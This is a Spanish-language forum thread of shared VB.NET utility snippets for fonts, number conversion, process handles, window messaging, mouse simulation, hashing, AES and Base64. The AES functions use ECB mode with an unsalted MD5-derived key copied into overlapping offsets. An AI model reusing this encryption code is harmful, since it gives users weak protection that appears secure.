Obtener las familias de las fuentes instaladas: EDITO: MEJORADO Y SIMPLIFICADO #Region " Get Installed Fonts Function " ' [ Get Installed Fonts Function ] ' ' Examples : ' For Each Font As FontFamily In Get_Installed_Fonts() : MsgBox(Font.Name) : Next ' ' For Each FontFam As FontFamily In Get_Installed_Fonts() ' Dim MyFont As New Font(FontFam.Name, 8) ' MsgBox(MyFont.Italic) ' MsgBox(MyFont.OriginalFontName) ' MyFont.Dispose() ' Next Private Function Get_Installed_Fonts() As FontFamily() Using AllFonts As New Drawing.Text.InstalledFontCollection ' Get the installed fonts collection. Return AllFonts.Families ' Return an array of the system's font familiies. End Using End Function #End Region
Unas de las típicas y quemadísimas funciones para convertir un string a binário: #Region " ASCII To Binary Function " ' [ ASCII To Binary Function ] ' ' Examples : ' MsgBox(ASCII_To_Binary("Test")) Private Function ASCII_To_Binary(ByVal str As String) As String Dim Binary_String As String = Nothing For i As Integer = 0 To str.Length - 1 Binary_String &= LongToBinary(Asc(str.Substring(i, 1))).Substring(LongToBinary(Asc(str.Substring(i, 1))).Length - 8) Next i Return Binary_String End Function ' Convert this Long value into a Binary string. Private Function LongToBinary(ByVal long_value As Long, Optional ByVal separate_bytes As Boolean = True) As String ' Convert into hex. Dim hex_string As String = long_value.ToString("X") ' Zero-pad to a full 16 characters. hex_string = hex_string.PadLeft(16, "0") ' Read the hexadecimal digits one at a time from right to left. Dim result_string As String = "" For digit_num As Integer = 0 To 15 ' Convert this hexadecimal digit into a binary nibble. Dim digit_value As Integer = Integer.Parse(hex_string.Substring(digit_num, 1), Globalization.NumberStyles.HexNumber) ' Convert the value into bits. Dim factor As Integer = 8 Dim nibble_string As String = "" For bit As Integer = 0 To 3 If digit_value And factor Then nibble_string &= "1" Else nibble_string &= "0" End If factor \= 2 Next bit ' Add the nibble's string to the left of the result string. result_string &= nibble_string Next digit_num ' Add spaces between bytes if desired. If separate_bytes Then Dim tmp As String = "" For i As Integer = 0 To result_string.Length - 8 Step 8 tmp &= result_string.Substring(i, 8) & " " Next i result_string = tmp.Substring(0, tmp.Length - 1) End If ' Return the result. Return result_string End Function #End Region
...O viceversa: #Region " Binary To ASCII Function " ' [ Binary To ASCII Function ] ' ' Examples : ' MsgBox(Binary_To_ASCII("01010100 01100101 01110011 01110100")) ' MsgBox(Binary_To_ASCII("01010100011001010111001101110100")) Private Function Binary_To_ASCII(ByVal str As String) As String Dim ASCII_String As String = Nothing ' Strip out spaces in case the string are separated by spaces. str = str.Replace(" ", "") For i As Integer = 0 To str.Length - 1 Step 8 ASCII_String &= Chr(BinaryToLong(str.Substring(i, 8))) Next i Return ASCII_String End Function ' Convert this Binary value into a Long. Private Function BinaryToLong(ByVal binary_value As String) As Long ' Remove any leading &B if present. binary_value = binary_value.Trim().ToUpper() If binary_value.StartsWith("&B") Then binary_value = binary_value.Substring(2) ' Strip out spaces in case the bytes are separated by spaces. binary_value = binary_value.Replace(" ", "") ' Left pad with zeros so we have a full 64 bits. binary_value = binary_value.PadLeft(64, "0") ' Read the bits in nibbles from left to right. (A nibble is half a byte) Dim hex_result As String = "" For nibble_num As Integer = 0 To 15 ' Convert this nibble into a hexadecimal string. Dim factor As Integer = 1 Dim nibble_value As Integer = 0 ' Read the nibble's bits from right to left. For bit As Integer = 3 To 0 Step -1 If binary_value.Substring(nibble_num * 4 + bit, 1).Equals("1") Then nibble_value += factor End If factor *= 2 Next bit ' Add the nibble's value to the right of the result hex string. hex_result &= nibble_value.ToString("X") Next nibble_num ' Convert the result string into a long. Return Long.Parse(hex_result, Globalization.NumberStyles.HexNumber) End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Abril 2013, 10:59 am
· Hexadecimal a Decimal: #Region " Hex To Dec Function " ' [ Hex To Dec Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Hex_To_Dec("0x020032")) ' Result: 131122 Private Function Hex_To_Dec(ByVal str As String) As Int32 Return Convert.ToInt32(str, 16) End Function #End Region
· Decimal a Hexadecimal: #Region " Dec To Hex Function " ' [ Dec To Hex Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Dec_To_Hex(131122)) ' Result: 0x020032 Private Function Dec_To_Hex(ByVal int As Int32) As String Return Convert.ToString(int, 16) End Function #End Region
· Comprueba si una fuente está instalada: EDITO: MEJORADO Y SIMPLIFICADO
#Region " Font Is Installed? Function "
' [ Font Is Installed? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Font_Is_Installed("Lucida Console"))
Private Function Font_Is_Installed(ByVal FontName As String) As Boolean Dim AllFonts As New Drawing.Text.InstalledFontCollection If AllFonts.Families.ToList().Contains(New FontFamily(FontName)) Then Return True Else Return False End Function
#End RegionOtra versión que me han proporcionado, mucho más simplificada: #Region " Font Is Installed? Function " ' [ Font Is Installed? Function ] ' ' Examples : ' MsgBox(Font_Is_Installed("Lucida Console")) Public Shared Function Font_Is_Installed(ByVal FontName As String) As Boolean Using TestFont As Font = New Font(FontName, 8) Return CBool(String.Compare(FontName, TestFont.Name, StringComparison.InvariantCultureIgnoreCase) = 0) End Using End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Abril 2013, 16:50 pm
· Mostrar un MessageBox centrado al form #Region " Centered Messagebox " ' [ Centered Messagebox Function ] ' ' Instructions : ' 1. Add the Class ' 2. Use it ' ' Examples : ' Using New Centered_MessageBox(Me) ' MessageBox.Show("Test Text", "Test Title", MessageBoxButtons.OK) ' End Using ' Centered_MessageBox.vb #Region " Centered MessageBox Class" Imports System.Text Imports System.Drawing Imports System.Windows.Forms Imports System.Runtime.InteropServices Class Centered_MessageBox Implements IDisposable Private mTries As Integer = 0 Private mOwner As Form Public Sub New(owner As Form) mOwner = owner owner.BeginInvoke(New MethodInvoker(AddressOf findDialog)) End Sub Private Sub findDialog() ' Enumerate windows to find the message box If mTries < 0 Then Return End If Dim callback As New EnumThreadWndProc(AddressOf checkWindow) If EnumThreadWindows(GetCurrentThreadId(), callback, IntPtr.Zero) Then If System.Threading.Interlocked.Increment(mTries) < 10 Then mOwner.BeginInvoke(New MethodInvoker(AddressOf findDialog)) End If End If End Sub Private Function checkWindow(hWnd As IntPtr, lp As IntPtr) As Boolean ' Checks if <hWnd> is a dialog Dim sb As New StringBuilder(260) GetClassName(hWnd, sb, sb.Capacity) If sb.ToString() <> "#32770" Then Return True End If ' Got it Dim frmRect As New Rectangle(mOwner.Location, mOwner.Size) Dim dlgRect As RECT GetWindowRect(hWnd, dlgRect) MoveWindow(hWnd, frmRect.Left + (frmRect.Width - dlgRect.Right + dlgRect.Left) \ 2, frmRect.Top + (frmRect.Height - dlgRect.Bottom + dlgRect.Top) \ 2, dlgRect.Right - dlgRect.Left, dlgRect.Bottom - dlgRect.Top, True) Return False End Function Public Sub Dispose() Implements IDisposable.Dispose mTries = -1 End Sub ' P/Invoke declarations Private Delegate Function EnumThreadWndProc(hWnd As IntPtr, lp As IntPtr) As Boolean <DllImport("user32.dll")> _ Private Shared Function EnumThreadWindows(tid As Integer, callback As EnumThreadWndProc, lp As IntPtr) As Boolean End Function <DllImport("kernel32.dll")> _ Private Shared Function GetCurrentThreadId() As Integer End Function <DllImport("user32.dll")> _ Private Shared Function GetClassName(hWnd As IntPtr, buffer As StringBuilder, buflen As Integer) As Integer End Function <DllImport("user32.dll")> _ Private Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As RECT) As Boolean End Function <DllImport("user32.dll")> _ Private Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, w As Integer, h As Integer, repaint As Boolean) As Boolean End Function Private Structure RECT Public Left As Integer Public Top As Integer Public Right As Integer Public Bottom As Integer End Structure End Class #End Region #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Abril 2013, 20:23 pm
· Devuelve el título de la ventana de un proceso #Region " Get Process Window Title Function " ' [ Get Process Window Title Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_Process_Window_Title("cmd")) ' MsgBox(Get_Process_Window_Title("cmd.exe")) Private Function Get_Process_Window_Title(ByVal ProcessName As String) As String If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4) Dim ProcessArray = Process.GetProcessesByName(ProcessName) If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).MainWindowTitle End Function #End Region
· Devuelve el handle de un proceso #Region " Get Process Handle Function " ' [ Get Process Handle Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_Process_Handle("cmd")) ' MsgBox(Get_Process_Handle("cmd.exe")) Private Function Get_Process_Handle(ByVal ProcessName As String) As IntPtr If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4) Dim ProcessArray = Process.GetProcessesByName(ProcessName) If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).MainWindowHandle End Function #End Region
· Devuelve el PID de un proceso #Region " Get Process PID Function " ' [ Get Process PID Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_Process_PID("cmd")) ' MsgBox(Get_Process_PID("cmd.exe")) Private Function Get_Process_PID(ByVal ProcessName As String) As IntPtr If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4) Dim ProcessArray = Process.GetProcessesByName(ProcessName) If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).Id End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Abril 2013, 13:25 pm
· Cargar fuentes de texto desde los recursos: Nota: Este code ya lo posteé pero se me olvidó agregar lo más importante, la class, así que lo vuelvo a postear xD #Region " Use Custom Text-Font " ' [ Use Custom Text-Font ] ' ' Instructions : ' 1. Add a .TTF font to the resources ' 2. Add the class ' 3. Use it ' ' Examples: ' Label1.Font = New Font(GameFont.Font, 10.0!) ' Label1.Text = "This is your custom font !!" Dim MyFont As New CustomFont(My.Resources.kakakaka) Private Sub Main_Disposed(sender As Object, e As System.EventArgs) Handles Me.Disposed MyFont.Dispose() End Sub ' CustomFont.vb #Region " CustomFont Class " Imports System.Drawing Imports System.Drawing.Text Imports System.Runtime.InteropServices ''' <summary> ''' Represents a custom font not installed on the user's system. ''' </summary> Public NotInheritable Class CustomFont Implements IDisposable Private fontCollection As New PrivateFontCollection() Private fontPtr As IntPtr #Region "Constructor" ''' <summary> ''' Creates a new custom font using the specified font data. ''' </summary> ''' <param name="fontData">The font data representing the font.</param> Public Sub New(ByVal fontData() As Byte) 'Create a pointer to the font data and copy the 'font data into the location in memory pointed to fontPtr = Marshal.AllocHGlobal(fontData.Length) Marshal.Copy(fontData, 0, fontPtr, fontData.Length) 'Add the font to the shared collection of fonts: fontCollection.AddMemoryFont(fontPtr, fontData.Length) End Sub #End Region #Region "Destructor" 'Free the font in unmanaged memory, dispose of 'the font collection and suppress finalization Public Sub Dispose() Implements IDisposable.Dispose Marshal.FreeHGlobal(fontPtr) fontCollection.Dispose() GC.SuppressFinalize(Me) End Sub 'Free the font in unmanaged memory Protected Overrides Sub Finalize() Marshal.FreeHGlobal(fontPtr) End Sub #End Region #Region "Properties" ''' <summary> ''' Gets the font family of the custom font. ''' </summary> Public ReadOnly Property Font() As FontFamily Get Return fontCollection.Families(0) End Get End Property #End Region End Class #End Region #End Region
· Esperar a que una aplicación termine de CARGAR Nota : El código no está muy simplificado, pero se puede usar y funciona bien. Nota 2: Esto sirve para aquellas aplicaciones a las que no le afecta un "Process.WaitForInputIdle", de lo contrario es una tontería usar este code tán largo y bruto. Ejemplo de uso: Private Sub Wait_For_Application_To_Load(ByVal APP_Path As String, Optional ByVal APP_Arguments As String = Nothing) Process.Start("Photoshop.exe") Timer_CheckCPU.Tag = "Photoshop" Timer_CheckCPU.Enabled = True While Not Timer_CheckCPU.Tag = "" Application.DoEvents() End While End Sub
#Region " Wait For Application To Load (UNFINISHED AND WAITING TO BE IMPROVED)" Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByVal lpBuffer As Integer, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer Private WithEvents Timer_CheckCPU As New Timer Dim Memory_Value_Changed As Boolean Dim CPU_Changed As Boolean Dim CPU_Time As Boolean Dim Running_Time As Boolean Private _desiredTime_ms As Integer = 1500 Private Sub Timer_CheckCPU_Tick(sender As Object, ev As EventArgs) Handles Timer_CheckCPU.Tick Timer_CheckCPU.Enabled = False Dim pProcess() As Process = System.Diagnostics.Process.GetProcessesByName(Timer_CheckCPU.Tag) Dim hprocess As Process = pProcess(0) If hprocess Is Nothing Then Running = False Timer_CheckCPU.Enabled = True Return End If Running = True Memory = hprocess.PrivateMemorySize64 CPUTotal = hprocess.TotalProcessorTime.TotalMilliseconds If AllConditionsGood() Then If Not (_countdown.IsRunning) Then _countdown.Reset() _countdown.Start() End If Dim _elapsed As Long = _countdown.ElapsedMilliseconds If _elapsed >= _desiredTime_ms Then Timer_CheckCPU.Tag = "" Return End If Else _countdown.Reset() End If Timer_CheckCPU.Enabled = True End Sub Private Function AllConditionsGood() As Boolean If CPU_Time Then Return False If Memory_Value_Changed Then Return False If Running_Time Then Return False Return True End Function Private _countdown As New Stopwatch Private _Running As Boolean = False Public WriteOnly Property Running() As Boolean Set(ByVal value As Boolean) _Running = value If value Then Running_Time = False Else Running_Time = True End If End Set End Property Private _CPUTotal As Double Public WriteOnly Property CPUTotal() As Double Set(ByVal value As Double) CPU = value - _CPUTotal 'used cputime since last check _CPUTotal = value End Set End Property Private _CPU As Double Public WriteOnly Property CPU() As Double Set(ByVal value As Double) If value = 0 Then CPU_Time = False Else CPU_Time = True End If _CPU = value End Set End Property Private _Memory As Long Public WriteOnly Property Memory() As Long Set(ByVal value As Long) MemoryDiff = Math.Abs(value - _Memory) _Memory = value End Set End Property Private _MemoryDiff As Long Public WriteOnly Property MemoryDiff() As Long Set(ByVal value As Long) If value = _MemoryDiff Then Memory_Value_Changed = False Else Memory_Value_Changed = True End If _MemoryDiff = value End Set End Property #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 12 Abril 2013, 11:15 am
Cargar configuración desde un archivo INI Dim INI_File As String = ".\Test.ini"
' By Elektro H@cker Private Sub Load_INI_settings() Dim Line As String = Nothing Dim ValueName As String = Nothing Dim Value Dim xRead As IO.StreamReader xRead = IO. File. OpenText(INI_File ) Do Until xRead.EndOfStream Line = xRead.ReadLine().ToLower ValueName = Line.Split("=")(0).ToLower Value = Line.Split("=")(1) If ValueName = "Game".ToLower Then TextBox_Game.Text = Value If ValueName = "SaveSettings".ToLower Then CheckBox_SaveSettings.Checked = Value Loop xRead.Close() xRead.Dispose() End Sub
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 12 Abril 2013, 14:17 pm
dada una lista de imágenes, un tamaño por imágen y un número de imágenes por línea devuelve un bitmap con todas las imágenes dibujadas sobre una cuadricula del tamaño indicado. Muy útil para el manejo de gráficos 2D. Public Function get_Image_matrix(ByRef imagelist As Bitmap(), sze As Size, imgs_per_line As Integer) Dim imagesize As New Size(1, 1) imagesize.Width = sze.Width * imgs_per_line imagesize.Height = Math.Ceiling((imagelist.Length / imgs_per_line) * sze.Height) If (imagesize.Height = 0) Then imagesize.Height = 1 * sze.Height End If If (imagesize.Width = 0) Then imagesize.Width = 1 * sze.Width End If Dim rtn As New Bitmap(imagesize.Width, imagesize.Height) Dim gr As Graphics = Graphics.FromImage(rtn) Dim xc As Integer = 0 Dim yc As Integer = 0 Dim index As Integer = 0 Dim needlines As Integer = Math.Ceiling(imagelist.Length / imgs_per_line) Do While yc < imagesize.Height Do While xc < imgs_per_line * sze.Width Try gr.DrawImage(imagelist(index), New Rectangle(xc, yc, sze.Width, sze.Height)) Catch ex As Exception End Try index += 1 xc += 1 * sze.Width Loop xc = 0 yc += 1 * sze.Height Loop Return rtn End Function
(https://lh5.googleusercontent.com/-FO5r1No9VLc/UWf6ckJ_0PI/AAAAAAAABA4/gPaCVREtVK4/w248-h248/Captura_functionmatriximage02.PNG)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 12:02 pm
@ABDERRAMAH Gracias por aportar!
Mi recopilación personal de snippets ha sido re-ordenada y actualizada en el post principal, ya son un total de 200 snippets! :)
Saludos.
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 12:58 pm
· Enviar texto a una ventana PERO sin activar el foco de esa ventana :) Ejemplo de uso: Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load ' Abrimos una instancia minimizada del bloc de notas Process.Start("CMD", "/C Start /MIN Notepad.exe") ' Y enviamos el texto a la instancia minimizada del bloc de notas! ' Nota: El while es para esperar a que el notepad termine de cargar, no es algo imprescindible. While Not SendKeys_To_App("notepad.exe", "By Elektro H@cker" & vbCrLf & "... :D") : Application.DoEvents() : End While End Sub
Función: #Region " SendKeys To App " ' [ SendKeys To App Function ] ' ' // By Elektro H@cker ' ' Examples : ' SendKeys_To_App("notepad.exe", "By Elektro H@cker" & vbCrLf & "... :D") Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Private Const EM_REPLACESEL = &HC2 Private Function SendKeys_To_App(ByVal App_Name As String, ByVal str As String) As Boolean Dim nPadHwnd As Long, ret As Long, EditHwnd As Long Dim APP_WindowTitle As String If App_Name.ToLower.EndsWith(".exe") Then App_Name = App_Name.Substring(0, App_Name.Length - 4) ' Rename APP Name Dim ProcessArray = Process.GetProcessesByName(App_Name) If ProcessArray.Length = 0 Then Return False ' App not found Else APP_WindowTitle = ProcessArray(0).MainWindowTitle ' Set window title of the APP End If nPadHwnd = FindWindow(App_Name, APP_WindowTitle) If nPadHwnd > 0 Then EditHwnd = FindWindowEx(nPadHwnd, 0&, "Edit", vbNullString) ' Find edit window If EditHwnd > 0 Then ret = SendMessage(EditHwnd, EM_REPLACESEL, 0&, str) ' Send text to edit window Return True ' Text sended Else Return False ' Name/Title not found End If End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 15:50 pm
· Convierte entero a caracter #Region " Byte To Char " ' [ Byte To Char Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Byte_To_Char(97)) ' Result: a Private Function Byte_To_Char(ByVal int As Int32) As String Return Convert.ToChar(int) End Function #End Region
· Convierte caracter a entero #Region " Char To Byte " ' [ Char To Byte Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Char_To_Byte("a")) ' Result: 97 ' Dim MyChar As String = "a" : MsgBox(Chr(Char_To_Byte(MyChar))) ' Result: a ( ...xD ) Private Function Char_To_Byte(ByVal str As String) As Int32 Dim character As Char = str & "c" Return Convert.ToByte(character) End Function #End Region
· Obtiene el SHA1 de un string #Region " Get SHA1 Of String " ' [ Get SHA1 Of String Function ] ' ' Examples : ' MsgBox(Get_SHA1_Of_String("Hello")) ' Result: D2EFCBBA102ED3339947E85F4141EB08926E40E9 Private Function Get_SHA1_Of_String(ByVal str As String) As String 'create our SHA1 provider Dim sha As System.Security.Cryptography.SHA1 = New System.Security.Cryptography.SHA1CryptoServiceProvider() Dim hashedValue As String = String.Empty 'hash the data Dim hashedData As Byte() = sha.ComputeHash(System.Text.Encoding.Unicode.GetBytes(str)) 'loop through each byte in the byte array For Each b As Byte In hashedData 'convert each byte and append hashedValue += String.Format("{0,2:X2}", b) Next 'return the hashed value Return hashedValue End Function #End Region
· Obtiene el SHA1 de un archivo #Region " Get SHA1 Of File " ' [ Get SHA1 Of File Function ] ' ' Examples : ' MsgBox(Get_SHA1_Of_File("C:\File.txt")) Private Function Get_SHA1_Of_File (ByVal File As String) As String Dim File_Stream As New System. IO. FileStream(File, IO. FileMode. Open) Dim sha As New System.Security.Cryptography.SHA1CryptoServiceProvider Dim hash As Array Dim shaHash As String Dim sb As New System.Text.StringBuilder sha.ComputeHash(File_Stream) hash = sha.Hash For Each hashByte As Byte In hash : sb.Append(String.Format("{0:X1}", hashByte)) : Next shaHash = sb.ToString File_Stream.Close() Return shaHash End Function #End Region
· cifra un string en AES #Region " AES Encrypt " ' [ AES Encrypt Function ] ' ' Examples : ' MsgBox(AES_Encrypt("Test_Text", "Test_Password")) ' Result: cv/vYwpl51/dxbxSMNSPSg== Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String Dim AES As New System.Security.Cryptography.RijndaelManaged Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider Dim encrypted As String = "" Try Dim hash(31) As Byte Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) Array.Copy(temp, 0, hash, 0, 16) Array.Copy(temp, 0, hash, 15, 16) AES.Key = hash AES.Mode = Security.Cryptography.CipherMode.ECB Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input) encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) Return encrypted Catch ex As Exception Return Nothing End Try End Function #End Region
· descifra un string AES #Region " AES Decrypt " ' [ AES Decrypt Function ] ' ' Examples : ' MsgBox(AES_Decrypt("cv/vYwpl51/dxbxSMNSPSg==", "Test_Password")) ' Result: Test_Text Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String Dim AES As New System.Security.Cryptography.RijndaelManaged Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider Dim decrypted As String = "" Try Dim hash(31) As Byte Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) Array.Copy(temp, 0, hash, 0, 16) Array.Copy(temp, 0, hash, 15, 16) AES.Key = hash AES.Mode = Security.Cryptography.CipherMode.ECB Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor Dim Buffer As Byte() = Convert.FromBase64String(input) decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) Return decrypted Catch ex As Exception Return Nothing End Try End Function #End Region
· Devuelve el código fuente de una URL #Region " Get URL SourceCode " ' [ Get URL SourceCode Function ] ' ' Examples : ' MsgBox(Get_URL_SourceCode("http://www.el-hacker.com")) Function Get_URL_SourceCode(ByVal url As String) As String Dim sourcecode As String = String.Empty Try Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create(url) Dim response As System.Net.HttpWebResponse = request.GetResponse() Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream()) sourcecode = sr.ReadToEnd() Catch ex As Exception MsgBox(ex.Message) End Try Return sourcecode End Function #End Region
· Intercambia entre el modo pantalla completa o modo normal. #Region " Toogle FullScreen " ' [ Toogle FullScreen ] ' ' // By Elektro H@cker ' ' Examples : ' Toogle_FullScreen() Dim MyFormBorderStyle = Me.FormBorderStyle Dim MyWindowState = Me.WindowState Dim MyTopMost = Me.TopMost Dim IsFullscreened As Boolean Public Sub Toogle_FullScreen() If Not IsFullscreened Then IsFullscreened = True Me.FormBorderStyle = FormBorderStyle.None Me.WindowState = FormWindowState.Maximized Me.TopMost = True ElseIf IsFullscreened Then IsFullscreened = False Me.FormBorderStyle = MyFormBorderStyle Me.WindowState = MyWindowState Me.TopMost = MyTopMost End If End Sub #End Region
· Devuelve la versión del Framework con el que se ha desarrollado una applicación (o DLL). #Region " Get FrameWork Of File " ' [ Get FrameWork Of File Function ] ' ' Examples : ' MsgBox(Get_FrameWork_Of_File("C:\My .Net Application.exe")) Private Function Get_FrameWork_Of_File (ByVal File As String) As String Try Dim FW As System. Reflection. Assembly = Reflection. Assembly. ReflectionOnlyLoadFrom(File) Return FW.ImageRuntimeVersion Catch ex As Exception Return Nothing ' Is not managed code End Try End Function #End Region
· Devuelve positivo si el número es primo #Region " Number Is Prime? " ' [ Number Is Prime? Function ] ' ' Examples : ' MsgBox(Number_Is_Prime(4)) ' Result: False Private Function Number_Is_Prime(ByVal Number As Long, Optional ByVal f As Integer = 2) As Boolean If Number = f Then Return True If Number Mod f = 0 Or Number = 1 Then Return False _ Else Return Number_Is_Prime(Number, f + 1) End Function #End Region
· Valida si un string se puede usar como nombre de archivo en Windows #Region " Validate Windows FileName " ' [ Validate Windows FileName Function ] ' ' Examples : ' MsgBox(Validate_Windows_FileName("C:\Test.txt")) ' Result: True ' MsgBox(Validate_Windows_FileName("C:\Te&st.txt")) ' Result: False Private Function Validate_Windows_FileName(ByRef FileName As String) As Boolean Dim Windows_Reserved_Chars As String = "\/:*?""<>|" For i As Integer = 0 To FileName.Length - 1 If Windows_Reserved_Chars.Contains(FileName(i)) Then Return False ' FileName is not valid End If Next Return True ' FileName is valid End Function #End Region
· cifra un string a Base64 #Region " String To Base64 " ' [ String To Base64 Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Base64("Test")) ' Result: VGVzdA== Private Function String_To_Base64(ByVal str As String) As String Return Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(str)) End Function #End Region
· descifra un string Base64 a string #Region " Base64 To String " ' [ Base64 To String Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Base64_To_String("VGVzdA==")) ' Result: Test Private Function Base64_To_String(ByVal str As String) As String Return System.Text.Encoding.ASCII.GetString(Convert.FromBase64String(str)) End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 17:29 pm
· Devuelve la resolución de la pantalla primária o de la pantalla extendida #Region " Get Screen Resolution " ' [ Get Screen Resolution Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_Screen_Resolution(False).ToString) ' MsgBox(Get_Screen_Resolution(True).ToString) ' Me.Size = Get_Screen_Resolution() Private Function Get_Screen_Resolution(ByVal Get_Extended_Screen_Resolution As Boolean) As Point If Not Get_Extended_Screen_Resolution Then Return New Point(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height) Else Dim X As Integer, Y As Integer For Each screen As Screen In screen.AllScreens X += screen.Bounds.Width Y += screen.Bounds.Height Next Return New Point(X, Y) End If End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 18:23 pm
· Enviar evento click del ratón. #Region " Mouse Click " ' [ Mouse Click ] ' ' // By Elektro H@cker ' ' Examples: ' Mouse_Click(MouseButton.Left) ' Press the left click button ' Mouse_Click(MouseButton.Left_Down) ' Hold the left click button ' Mouse_Click(MouseButton.Left_Up) ' Release the left click button Public Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseButton, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer) Public Enum MouseButton As Int32 Left_Down = &H2 ' Left button (hold) Left_Up = &H4 ' Left button (release) Right_Down = &H8 ' Right button (hold) Right_Up = &H10 ' Right button (release) Middle_Down = &H20 ' Middle button (hold) Middle_Up = &H40 ' Middle button (release) Left ' Left button (press) Right ' Right button (press) Middle ' Middle button (press) End Enum Private Sub Mouse_Click(ByVal MouseButton As MouseButton) Select Case MouseButton Case MouseButton.Left : Mouse_Event(MouseButton.Left_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Left_Up, 0, 0, 0, 0) Case MouseButton.Right : Mouse_Event(MouseButton.Right_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Right_Up, 0, 0, 0, 0) Case MouseButton.Middle : Mouse_Event(MouseButton.Middle_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Middle_Up, 0, 0, 0, 0) Case Else : Mouse_Event(MouseButton, 0, 0, 0, 0) End Select End Sub #End Region
· Setear la posición del mouse sin APIs y con posibilidad de restingir el movimiento a la pantalla primária. #Region " Set Cursor Pos " ' [ Set Cursor Pos Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_Cursor_Pos(500, 500) ' Set_Cursor_Pos(2500, 0, False) Private Sub Set_Cursor_Pos(ByVal X As Int32, ByVal Y As Int32, _ Optional ByVal Enable_Extended_Screen As Boolean = True) If Not Enable_Extended_Screen Then Dim Screen_X = My.Computer.Screen.Bounds.Width Dim Screen_Y = My.Computer.Screen.Bounds.Height If X > Screen_X Then X = Screen_X If Y > Screen_Y Then Y = Screen_Y End If Cursor.Position = New System.Drawing.Point(X, Y) End Sub #End Region
